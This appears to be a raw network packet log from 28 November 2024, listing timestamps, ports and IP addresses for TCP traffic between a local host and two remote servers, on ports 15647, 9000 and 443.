Nov 28, 2024 09:53:27.212021112 CET	49789	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:27.212193012 CET	49789	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:27.215773106 CET	443	49785	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.216306925 CET	49785	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.216325998 CET	443	49785	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.216792107 CET	49785	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.216799021 CET	443	49785	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.256875038 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:27.293908119 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:27.294011116 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:27.332134008 CET	9000	49789	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:27.344703913 CET	443	49788	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.345299959 CET	49788	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.345330000 CET	443	49788	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.345772982 CET	49788	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.345782995 CET	443	49788	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.381088972 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:27.381361008 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:27.413913012 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:27.462291002 CET	443	49787	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.463169098 CET	49787	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.463191032 CET	443	49787	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.463702917 CET	49787	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.463710070 CET	443	49787	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.498393059 CET	443	49784	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.498466969 CET	443	49784	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.498763084 CET	49784	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.498884916 CET	49784	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.498908997 CET	443	49784	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.498924017 CET	49784	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.498929977 CET	443	49784	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.501663923 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:27.501739025 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:27.502610922 CET	49790	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.502645969 CET	443	49790	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.502774000 CET	49790	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.502985001 CET	49790	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.503000021 CET	443	49790	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.621637106 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:27.621730089 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:27.624435902 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:27.669261932 CET	443	49785	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.669382095 CET	443	49785	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.669636965 CET	49785	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.670964003 CET	49785	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.670981884 CET	443	49785	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.670999050 CET	49785	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.671005964 CET	443	49785	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.683130026 CET	49791	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.683176994 CET	443	49791	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.683319092 CET	49791	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.687957048 CET	49791	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.687974930 CET	443	49791	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.779968023 CET	443	49788	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.780036926 CET	443	49788	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.780272961 CET	49788	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.780534983 CET	49788	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.780554056 CET	443	49788	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.780565023 CET	49788	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.780571938 CET	443	49788	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.784081936 CET	49792	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.784126043 CET	443	49792	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.784147024 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:27.784214020 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:27.784240007 CET	49792	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.784756899 CET	49792	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.784771919 CET	443	49792	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.832098007 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:27.832216024 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:27.841959953 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.841989040 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.842044115 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.842061996 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.843143940 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.843202114 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.843214989 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.843220949 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.843365908 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.847279072 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.847285032 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.878413916 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:27.904251099 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:27.916347027 CET	443	49787	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.916419029 CET	443	49787	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.916541100 CET	49787	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.918806076 CET	49787	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.918826103 CET	443	49787	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.918853045 CET	49787	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.918859005 CET	443	49787	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.922724962 CET	49793	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.922750950 CET	443	49793	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.922851086 CET	49793	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.923077106 CET	49793	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:27.923093081 CET	443	49793	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:27.952151060 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:27.952202082 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:28.042488098 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:28.042562962 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:28.072247028 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:28.088737011 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:28.172192097 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:28.173551083 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:28.173583031 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:28.173594952 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:28.173599958 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:28.208084106 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:28.208146095 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:28.282519102 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:28.282594919 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:28.328046083 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:28.372982025 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:28.373066902 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:28.402606964 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:28.421401978 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:28.421591997 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:28.421613932 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:28.492832899 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:28.492903948 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:28.492988110 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:28.568861961 CET	9000	49789	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:28.569075108 CET	9000	49789	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:28.569124937 CET	49789	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:28.569219112 CET	49789	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:28.583581924 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:28.584683895 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:28.612798929 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:28.614701033 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:28.678487062 CET	49794	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:28.689682007 CET	9000	49789	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:28.703736067 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:28.703821898 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:28.705540895 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:28.783910036 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:28.783931017 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:28.792517900 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:28.792531967 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:28.798547029 CET	9000	49794	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:28.798620939 CET	49794	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:28.798757076 CET	49794	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:28.823798895 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:28.823846102 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:28.840733051 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:28.916024923 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:28.916111946 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:28.918698072 CET	9000	49794	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:28.984302044 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:29.034215927 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:29.034302950 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:29.036039114 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:29.116419077 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.121778011 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:29.121802092 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.154094934 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:29.154162884 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:29.154217005 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:29.274106026 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:29.276712894 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:29.282618999 CET	443	49790	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.291497946 CET	49790	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:29.291534901 CET	443	49790	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.292104959 CET	49790	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:29.292112112 CET	443	49790	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.364530087 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:29.396709919 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:29.400902033 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:29.408649921 CET	443	49791	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.409136057 CET	49791	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:29.409166098 CET	443	49791	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.409835100 CET	49791	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:29.409842014 CET	443	49791	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.445740938 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.484565020 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:29.489377022 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:29.513134003 CET	443	49792	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.521003962 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:29.553256989 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:29.553278923 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.568346024 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:29.572863102 CET	49792	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:29.572890997 CET	443	49792	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.577620029 CET	49792	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:29.577626944 CET	443	49792	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.607616901 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:29.688303947 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:29.688458920 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:29.703905106 CET	443	49793	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.703975916 CET	49793	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:29.724623919 CET	49793	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:29.724649906 CET	443	49793	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.724900007 CET	443	49793	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.726177931 CET	49793	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:29.726727962 CET	443	49790	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.726792097 CET	443	49790	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.726859093 CET	49790	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:29.727866888 CET	49790	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:29.727886915 CET	443	49790	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.727893114 CET	49790	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:29.727899075 CET	443	49790	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.731765985 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:29.767379045 CET	443	49793	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.772815943 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:29.772846937 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.801872015 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:29.808437109 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:29.808526993 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:29.843647003 CET	443	49791	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.843710899 CET	443	49791	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.843810081 CET	49791	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:29.844129086 CET	49791	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:29.844157934 CET	443	49791	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.844168901 CET	49791	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:29.844176054 CET	443	49791	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.847451925 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:29.847465992 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.858488083 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:29.877281904 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.880206108 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:29.927340984 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.928608894 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:29.928672075 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:29.948101997 CET	443	49792	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.948170900 CET	443	49792	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.948261976 CET	49792	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:29.948405027 CET	49792	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:29.948405027 CET	49792	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:29.948420048 CET	443	49792	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.948429108 CET	443	49792	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:29.951386929 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:29.951400995 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:30.018908024 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:30.018989086 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:30.048674107 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:30.097443104 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:30.101154089 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:30.101187944 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:30.139091969 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:30.139292955 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:30.147423983 CET	443	49793	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:30.147543907 CET	443	49793	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:30.147618055 CET	49793	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:30.147778034 CET	49793	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:30.147799969 CET	443	49793	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:30.147809982 CET	49793	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:30.147815943 CET	443	49793	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:30.151072025 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:30.151091099 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:30.155385017 CET	9000	49794	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:30.155502081 CET	9000	49794	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:30.155560970 CET	49794	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:30.155611038 CET	49794	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:30.217561007 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:30.229234934 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:30.234241009 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:30.234265089 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:30.237009048 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:30.259213924 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:30.259274960 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:30.271886110 CET	49795	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:30.275454998 CET	9000	49794	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:30.279333115 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:30.349579096 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:30.350703955 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:30.379182100 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:30.391787052 CET	9000	49795	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:30.391885996 CET	49795	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:30.392035961 CET	49795	9000	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:30.418814898 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:30.422276974 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:30.422298908 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:30.469715118 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:30.470175982 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:30.470608950 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:30.511872053 CET	9000	49795	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:30.573914051 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:30.577106953 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:30.577127934 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:30.577157021 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:30.589622021 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:30.589694023 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:30.590079069 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:30.681031942 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:30.682859898 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:30.692507982 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:30.692532063 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:30.709732056 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:30.732947111 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:30.733973980 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:30.734002113 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:30.734066010 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:30.775342941 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:30.802810907 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:30.802932978 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:30.871421099 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:30.912045956 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:30.915373087 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:30.915395975 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:30.922880888 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:30.922939062 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:30.968892097 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:31.042903900 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:31.042967081 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:31.061589956 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:31.064670086 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:31.064793110 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:31.064812899 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:31.066059113 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:31.066068888 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:31.069400072 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:31.069405079 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:31.070647955 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:31.070667028 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:31.122478008 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:31.122657061 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:31.157490015 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:31.160824060 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:31.160856962 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:31.162986040 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:31.242563963 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:31.242618084 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:31.253459930 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:31.262767076 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:31.265753984 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:31.265789986 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:31.301887989 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:31.332771063 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:31.333018064 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:31.404059887 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:31.453078985 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:31.453089952 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:31.453310013 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:31.505389929 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:31.508780003 CET	49776	443	192.168.2.4	13.107.246.63
Nov 28, 2024 09:53:31.508807898 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:31.543293953 CET	15647	49769	45.141.84.168	192.168.2.4
Nov 28, 2024 09:53:31.543363094 CET	49769	15647	192.168.2.4	45.141.84.168
Nov 28, 2024 09:53:31.553132057 CET	443	49776	13.107.246.63	192.168.2.4
Nov 28, 2024 09:53:31.553193092 CET	49776	443	192.168.2.4	13.107.246.63
